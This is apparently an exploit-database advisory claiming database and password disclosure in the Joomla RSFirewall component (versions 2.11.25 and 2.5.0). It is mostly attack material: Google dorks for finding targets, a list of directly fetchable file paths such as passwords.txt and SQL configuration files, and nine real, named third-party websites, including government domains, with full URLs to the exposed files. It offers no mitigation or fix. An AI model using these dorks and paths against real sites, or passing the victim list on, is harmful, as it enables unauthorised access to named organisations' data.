Joomla RSFirewall component version 2.11.25 suffers from a database disclosure vulnerability.
cdc672b1ada639fbd8bcca1e70f775b7####################################################################
# Exploit Title : Joomla RSFirewall Components 2.11.25 Database and Password Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 25/01/2019
# Vendor Homepage : rsjoomla.com
# Software Download Link : extensions.joomla.org/extension/rsfirewall/
# Software Information Link : rsjoomla.com/joomla-extensions/joomla-security.html
# Software Price : 50 Euro
# Affected Versions : 2.11.25 and 2.5.0
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/index.php?option=com_rsfirewall''
inurl:''/administrator/components/com_rsfirewall/''
intext:Hosted & Designed By Suryanandan.net
intext:Designed by Artilabio
# Vulnerability Type : CWE-200 [ Information Exposure ]
CWE-256 [ Unprotected Storage of Credentials ]
####################################################################
# Description :
***************
* Joomla RSFirewall Components 2.11.25 and 2.50 versions has information exposure
vulnerability that is intentional or unintentional disclosure of information to an actor that is
not explicitly authorized to have access to that information.
* Storing passwords in plaintext may result in a system compromise.
####################################################################
# Unprotected Storage of Credentials Exploit :
***************************************
/administrator/components/com_rsfirewall/assets/dictionary/passwords.txt
# Database Disclosure Exploit :
***************************
/administrator/components/com_rsfirewall/sql/mysql/configuration.data.sql
/administrator/components/com_rsfirewall/sql/mysql/configuration.sql
/administrator/components/com_rsfirewall/sql/mysql/exceptions.sql
/administrator/components/com_rsfirewall/sql/mysql/feeds.data.sql
/administrator/components/com_rsfirewall/sql/mysql/feeds.sql
/administrator/components/com_rsfirewall/sql/mysql/hashes.data.sql
/administrator/components/com_rsfirewall/sql/mysql/hashes.sql
/administrator/components/com_rsfirewall/sql/mysql/ignored.sql
/administrator/components/com_rsfirewall/sql/mysql/lists.sql
/administrator/components/com_rsfirewall/sql/mysql/logs.sql
/administrator/components/com_rsfirewall/sql/mysql/offenders.sql
/administrator/components/com_rsfirewall/sql/mysql/signatures.data.sql
/administrator/components/com_rsfirewall/sql/mysql/signatures.sql
/administrator/components/com_rsfirewall/sql/mysql/snapshots.sql
/administrator/components/com_rsfirewall/sql/mysql/uninstall.sql
/administrator/components/com_rsfirewall/sql/sqlazure/configuration.data.sql
/administrator/components/com_rsfirewall/sql/sqlazure/configuration.data.sql
/administrator/components/com_rsfirewall/sql/sqlazure/configuration.sql
/administrator/components/com_rsfirewall/sql/sqlazure/exceptions.sql
/administrator/components/com_rsfirewall/sql/sqlazure/feeds.data.sql
/administrator/components/com_rsfirewall/sql/sqlazure/feeds.sql
/administrator/components/com_rsfirewall/sql/sqlazure/hashes.data.sql
/administrator/components/com_rsfirewall/sql/sqlazure/hashes.sql
/administrator/components/com_rsfirewall/sql/sqlazure/ignored.sql
/administrator/components/com_rsfirewall/sql/sqlazure/lists.sql
/administrator/components/com_rsfirewall/sql/sqlazure/logs.sql
/administrator/components/com_rsfirewall/sql/sqlazure/offenders.sql
/administrator/components/com_rsfirewall/sql/sqlazure/signatures.data.sql
/administrator/components/com_rsfirewall/sql/sqlazure/signatures.sql
/administrator/components/com_rsfirewall/sql/sqlazure/snapshots.sql
/administrator/components/com_rsfirewall/sql/sqlazure/uninstall.sql
####################################################################
# Example Vulnerable Sites :
*************************
[+] ippbm.gov.my/administrator/components/com_rsfirewall/assets/dictionary/passwords.txt
[+] sprachkurse-niederlaendisch.de/administrator/components/com_rsfirewall/assets/dictionary/passwords.txt
[+] emserpa.gov.co/sitio/administrator/components/com_rsfirewall/sql/mysql/configuration.sql
[+] tdahmalaga.org/administrator/components/com_rsfirewall/sql/mysql/configuration.sql
[+] holzmanmoss.com/140313_OldSite/administrator/components/com_rsfirewall/sql/mysql/configuration.sql
[+] kvgandhinagarcantt.org.in/administrator/components/com_rsfirewall/sql/mysql/configuration.sql
[+] psipw.org/administrator/components/com_rsfirewall/sql/mysql/configuration.sql
[+] sphereweb.gr/administrator/components/com_rsfirewall/sql/mysql/configuration.sql
[+] galstaffmultiresine.it/administrator/components/com_rsfirewall/sql/mysql/configuration.sql
####################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
####################################################################